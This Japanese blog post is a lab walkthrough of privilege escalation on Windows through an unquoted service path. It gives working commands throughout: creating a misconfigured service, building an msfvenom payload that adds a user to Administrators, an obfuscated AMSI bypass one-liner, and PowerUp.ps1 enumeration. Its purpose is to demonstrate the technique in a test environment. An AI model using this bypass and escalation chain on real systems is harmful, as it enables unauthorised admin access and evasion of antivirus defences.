アロワナ飼いたい

いつかアロワナを飼いたい人のブログです

引用符で囲まれていないサービスパスを悪用する

引用符で囲まれていないサービスパスに関するメモ。
これを悪用し、ローカルアカウントの権限昇格を行ってみます。
※ 許可されていない環境では実施しないこと


■ 準備

検証に必要なアカウント/フォルダ/サービス/プログラムを作成します。


◆ 検証用アカウントの準備

次のような検証用アカウントを2つ準備します。

  • アカウントA
    管理者権限をもつローカルアカウントです。
    ここでの管理者権限をもつというのは、「Administrators」
    グループに所属することを意味します。

  • アカウントB
    管理者権限をもたないローカルアカウントです。
    「testuser」というIDで、「Users」グループに所属します。


◆ 検証用フォルダの作成

管理者権限をもつアカウント(アカウントA)にて、検証に使うフォルダを作成します。
今回は次のようなフォルダとしました。

  • C:\work
    ワーキングフォルダです。PowerUp.ps1を格納しておきます
    (PowerUp.ps1は参考1より入手)。また、必要に応じてMicrosoft
    Defenderのウイルス対策スキャンの対象外に設定しておきます。

  • C:\work\test service
    悪用するフォルダです。実際のシナリオとしては、このフォルダの中に
    「MyFirstService.exe」といったプログラムがあり、これの実行パスを
    引用符で囲まずに実行するサービスがあるといったことが挙げられます。
    ※ MyFirstService.exeを格納しておく必要はありません

管理者権限をもたないアカウント(アカウントB)に対するアクセス許可は次のとおりです。

> icacls "C:\work"
> icacls "C:\work\test service"


◆ 検証用サービスの作成

コマンドプロンプトを管理者権限で開き、悪用するサービスを作成します。
今回は「TEST」というサービス名としました。
※ 「sc create」コマンドにおけるオプションの指定では、
  「=」の後に半角スペースが一つ必要です

> sc create TEST binPath= "C:\work\test service\MyFirstService.exe" Displayname= "My First Service" start= auto
> sc query TEST


検証用サービスの実行権限を確認します。

> sc sdshow TEST


「ビルトイン(ローカル)Users」グループ(BU)に対して実行権限が付与されていない
ことが分かります。この状態では、testuserで「TEST」サービスの起動(悪用)ができない
ため、次のコマンドを入力します(詳細については参考2や参考3が分かりやすいです)。

> sc sdset TEST D:(A;;RPWPCR;;;BU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)


実行権限を再確認すると、BUに対する実行権限が付与されていることが分かります。

> sc sdshow TEST


◆ 検証用プログラムの作成

サービスに「C:\work\test service\MyFirstService.exe」ではなく「C:\work\test.exe」と認識
させたいため、「test.exe」というプログラムを作成します。プログラム「test.exe」の
内容は、testuserの権限を昇格させる、すなわち「Administrators」グループに所属させる
ものとします。プログラムをmsfvenomなどで作成し(参考4)、「C:\work」フォルダに
格納します(Microsoft Defenderで検知される可能性があります)。

# msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators testuser /add" -f exe > test.exe


testuserは管理者権限を持たないアカウントであるため、「net localgroup administrators
testuser /add」といった処理を行う「test.exe」を実行できません。そこで悪用するのが
引用符で囲まれていないサービスパスであり、これにより「test.exe」を実行できることを
確認します。

少し長くなりましたが、これで準備が整いました。


■ 検証

次のシナリオを想定した検証を行います。

  • ターゲットのシナリオ(前節にて実施済)
    ターゲットは、管理者権限を持たないアカウントtestuserにて実行可能な
    「C:\work\test service\MyFirstService.exe」というサービスを作成した
    (権限昇格につながる不適切な設定)。

  • 攻撃者のシナリオ(本節にて実施)
    攻撃者は何らかの方法を用いて、ターゲットのコンピュータにtestuserにて
    サインインすることに成功した。コンピュータの内部探索をしたところ、
    引用符で囲まれていないサービスパスを悪用できることが分かり、これにより
    testuserの権限を昇格させることを目標とした。


それでは検証を始めます。testuserでサインインし、コマンドプロンプトを起動します。

> whoami
> net user testuser


まずはPowerUp.ps1を用いた内部探索を行いますが、その前にpowershellの実行ポリシー
変更とAMSIバイパスを行う必要があります。次のコマンドにて、すべてのスクリプト
実行を許可するよう変更できます。

> powershell -ExecutionPolicy bypass


プロンプトがpowershellに変わるので、AMSIをバイパスします(参考5)。

PS> S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )


これでPowerUp.ps1をロードできます。ロードできれば、権限昇格に繋がる設定不備を
Invoke-AllChecks」コマンドにて列挙します。

PS> cd C:\work\
PS> . .\PowerUp.ps1
PS> Invoke-AllChecks


いくつか設定不備が見つかりましたが、前節で作成した「TEST」サービスが悪用できる
ことが示されています。「Get-UnquotedService」コマンドを使えば、引用符で囲まれて
いないサービスパスの不備のみに特化して出力することもできます。

PS> Get-UnquotedService


「TEST」サービスを悪用できることが確認できました。悪用する前に、改めてtestuserが
「Administrators」グループにが含まれていないことを確認しておきます。

PS> exit
> net localgroup Administrators


それでは悪用します。「sc start TEST」と入力して「TEST」サービスを開始させます。
「そのサービスは指定時間内に~」と出ていますが、無視して再度「Administrators」
グループのメンバーを確認すると、testuserがメンバーに追加されていることが分かります。

> sc start TEST
> net localgroup Administrators


「net user」コマンドでも、所属グループが増えていることが分かります。

> net user testuser


設定不備を悪用することで、testuserの権限を昇格させる検証ができました。
検証が終われば、必要に応じて端末の状態を元に戻します。具体的には次のとおりです。

  • 検証用アカウントとそのプロファイルの削除
  • 検証に利用したユーティリティや入出力ファイルの削除
  • 検証用フォルダの削除とMicrosoft Defenderの除外対象の見直し
  • サービスの削除(「sc delete TEST」を実行)


■ 感想

簡潔にまとめましたが、検証用サービスの実行権限付与など、検証には思いのほか
時間がかかりました。


■ 参考


以上です。